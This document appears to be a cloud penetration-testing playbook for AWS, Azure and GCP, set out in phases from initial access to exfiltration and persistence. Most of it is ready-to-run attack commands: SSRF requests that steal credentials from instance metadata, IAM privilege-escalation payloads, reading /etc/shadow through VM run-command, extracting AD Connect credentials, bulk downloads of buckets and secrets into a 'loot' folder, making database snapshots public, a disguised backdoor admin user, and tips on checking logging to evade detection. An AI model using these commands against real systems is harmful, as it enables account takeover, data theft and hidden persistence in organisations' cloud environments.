Cloud Pentest Playbook: AWS, Azure, GCP From Access to Exfil
Cloud security isn't 'someone else's problem.' Misconfigured IAM, exposed metadata, overprivileged service accounts. This is the decision tree for compromising AWS, Azure, and GCP environments: from initial access to data exfiltration.
Cloud environments don’t have a perimeter to breach. They have IAM policies, metadata services, and storage buckets. The attack surface is configuration, not network topology. Different mental model, different playbook.
Phase 0: Initial Access
How You Get In
| Vector | Description |
|---|---|
| Leaked credentials | GitHub commits, .env files, Trello boards, Postman collections |
| SSRF to metadata | Web app with SSRF → hit 169.254.169.254 → steal instance credentials |
| Phished user | Stolen SSO creds → access cloud console |
| Compromised CI/CD | GitHub Actions secrets, GitLab CI variables, Jenkins credentials |
| Public storage | Open S3 buckets, Azure Blobs, GCS buckets |
| Exposed management | Kubernetes API, Docker API, cloud function endpoints |
Credential Hunting (External)
# GitHub dorking
# Search for: "AKIA" (AWS access key prefix)
trufflehog github --org=<target_org>
trufflehog git https://github.com/<target>/<repo>.git
# Check for public S3 buckets
aws s3 ls s3://<company-name> --no-sign-request
aws s3 ls s3://<company-name>-backup --no-sign-request
aws s3 ls s3://<company-name>-dev --no-sign-request
# Azure Blob enumeration
python3 MicroBurst/Misc/InvokeEnumerateAzureBlobs.py -Base <company>
# GCS bucket check
curl https://storage.googleapis.com/<company-name>
SSRF to Cloud Credentials
If you find SSRF in a web application hosted on a cloud instance:
AWS IMDSv1 (no hop limit):
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
Returns: AccessKeyId, SecretAccessKey, Token. Temporary credentials for the instance’s IAM role.
AWS IMDSv2 (requires token):
# Need two requests - SSRF must support custom headers
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
If the SSRF doesn’t support PUT or custom headers, IMDSv2 blocks you. That’s the point. Many orgs still haven’t enforced IMDSv2.
Azure IMDS:
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
# Header required: Metadata: true
GCP:
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Header required: Metadata-Flavor: Google
Phase 1: Enumerate What You Have
You have credentials (leaked, stolen, or from SSRF). First thing: understand what they can do.
AWS
# Configure credentials
export AWS_ACCESS_KEY_ID=AKIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=... # If temporary creds
# Who am I?
aws sts get-caller-identity
# What can I do? (Enumerate permissions)
# Option 1: Brute-force API calls
enumerate-iam --access-key $AWS_ACCESS_KEY_ID --secret-key $AWS_SECRET_ACCESS_KEY --region us-east-1
# Option 2: If you can read IAM policies
aws iam list-attached-user-policies --user-name <user>
aws iam get-policy-version --policy-arn <arn> --version-id v1
# Option 3: Pacu (AWS exploitation framework)
pacu
> import_keys <profile>
> run iam__enum_permissions
> run iam__privesc_scan
Azure
# Authenticate
az login # Interactive
az login --service-principal -u <app-id> -p <secret> --tenant <tenant-id> # SP
# Who am I?
az account show
az ad signed-in-user show
# Enumerate roles
az role assignment list --assignee <object-id> --all
az ad app list --show-mine
# ROADtools (comprehensive Azure AD enum)
roadrecon auth -u user@domain.com -p 'pass'
roadrecon gather
roadrecon gui
GCP
# Authenticate
gcloud auth activate-service-account --key-file=<key.json>
# Who am I?
gcloud config list account
gcloud projects list
# What roles?
gcloud projects get-iam-policy <project-id>
gcloud asset search-all-iam-policies --scope=projects/<project-id>
Phase 2: Privilege Escalation
AWS IAM Privesc Paths
| Permission You Have | Escalation |
|---|---|
iam:CreatePolicyVersion | Create a new version of an existing policy with *:* and set as default |
iam:AttachUserPolicy | Attach AdministratorAccess to yourself |
iam:CreateAccessKey | Create access keys for any user (including admins) |
iam:PassRole + lambda:CreateFunction + lambda:InvokeFunction | Create a Lambda with an admin role, invoke it |
iam:PassRole + ec2:RunInstances | Launch an EC2 with an admin instance profile |
sts:AssumeRole on a privileged role | Assume it directly |
lambda:UpdateFunctionCode | Modify existing Lambda → steal its role’s creds |
ssm:SendCommand on EC2 instances | Execute commands on instances (lateral movement + role theft) |
Example: Lambda-based privesc
# Create a Lambda function that uses a privileged role
aws lambda create-function \
--function-name escalate \
--runtime python3.12 \
--role arn:aws:iam::<account>:role/admin-role \
--handler index.handler \
--zip-file fileb://payload.zip
# payload index.py:
# import boto3; iam = boto3.client('iam')
# iam.attach_user_policy(UserName='attacker', PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess')
aws lambda invoke --function-name escalate output.txt
Azure Privesc Paths
| Permission / Role | Escalation |
|---|---|
User Access Administrator | Assign yourself Owner on any scope |
Contributor on a VM | Run commands via az vm run-command |
Automation Contributor | Create Automation Runbook with Managed Identity |
Application Administrator | Add credentials to any Service Principal |
Global Administrator (Entra ID) | Full control of everything |
| Write access on Logic Apps | Modify workflow to exfil managed identity tokens |
Example: VM command execution
az vm run-command invoke -g <resource-group> -n <vm-name> --command-id RunShellScript --scripts "cat /etc/shadow"
GCP Privesc Paths
| Permission | Escalation |
|---|---|
iam.serviceAccountKeys.create | Create key for any SA → impersonate it |
iam.serviceAccounts.actAs + compute.instances.create | Launch VM with privileged SA |
cloudfunctions.functions.create + iam.serviceAccounts.actAs | Deploy function with privileged SA |
iam.serviceAccountTokenCreator | Generate access tokens for any SA |
resourcemanager.projects.setIamPolicy | Grant yourself Owner |
Example: SA key creation
gcloud iam service-accounts keys create key.json \
--iam-account=admin-sa@project.iam.gserviceaccount.com
gcloud auth activate-service-account --key-file=key.json
Phase 3: Lateral Movement
Cross-Account/Subscription/Project
AWS: Check for cross-account role trusts:
aws iam list-roles | grep -A5 "AssumeRolePolicyDocument"
# Look for Principal: "*" or Principal: "arn:aws:iam::<other-account>:root"
Azure: Check for B2B guest access, multi-tenant app registrations, Lighthouse delegations.
GCP: Check for cross-project SA impersonation, shared VPCs, organization-level permissions.
From Cloud to On-Prem
Azure AD Connect syncs on-prem AD with Entra ID. If you compromise the server running AAD Connect:
# Extract plaintext credentials from AAD Connect
# Using AADInternals:
Install-Module AADInternals
Get-AADIntSyncCredentials
This gives you the AD Connector account credentials, which typically have DS-Replication-Get-Changes rights. DCSync from the cloud.
AWS SSM to internal: If EC2 instances in a VPC have SSM agent, use aws ssm start-session to land on internal hosts without needing SSH or VPN access.
Phase 4: Data Access and Exfiltration
AWS
# List all S3 buckets
aws s3 ls
# Download everything from a bucket
aws s3 sync s3://<bucket> ./loot/
# Check for secrets in SSM Parameter Store
aws ssm get-parameters-by-path --path "/" --recursive --with-decryption
# Secrets Manager
aws secretsmanager list-secrets
aws secretsmanager get-secret-value --secret-id <name>
# RDS snapshots (create a public copy you control)
aws rds describe-db-snapshots
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <id> --attribute-name restore --values-to-add all
Azure
# Key Vault secrets
az keyvault list
az keyvault secret list --vault-name <vault>
az keyvault secret show --vault-name <vault> --name <secret>
# Storage account keys
az storage account keys list -g <rg> -n <account>
# Download blobs
az storage blob download-batch -d ./loot -s <container> --account-name <account> --account-key <key>
GCP
# Secret Manager
gcloud secrets list
gcloud secrets versions access latest --secret=<name>
# Cloud Storage
gsutil ls
gsutil cp -r gs://<bucket>/ ./loot/
# BigQuery
bq ls --project_id <project>
bq query --use_legacy_sql=false "SELECT * FROM dataset.table LIMIT 100"
Phase 5: Persistence
| Cloud | Persistence Method |
|---|---|
| AWS | Create IAM user with programmatic access, create access key for existing user, backdoor Lambda, add login profile |
| Azure | Add credentials to SP, create new SP, invite B2B guest, add Automation Account |
| GCP | Create SA key, add IAM binding, deploy Cloud Function with trigger |
AWS backdoor example:
aws iam create-user --user-name support-audit
aws iam attach-user-policy --user-name support-audit --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam create-access-key --user-name support-audit
Detection Blind Spots
Cloud logging is opt-in for many services. Common gaps:
- AWS: S3 data events not enabled (most common), Lambda invocations not logged, CloudTrail not forwarding to SIEM
- Azure: Diagnostic settings not configured on Key Vaults, no sign-in logs retention beyond 30 days
- GCP: Data access audit logs disabled by default, Cloud Function invocations not logged
If these aren’t enabled, your activity is invisible. Check logging configuration early: it tells you how much noise you can make.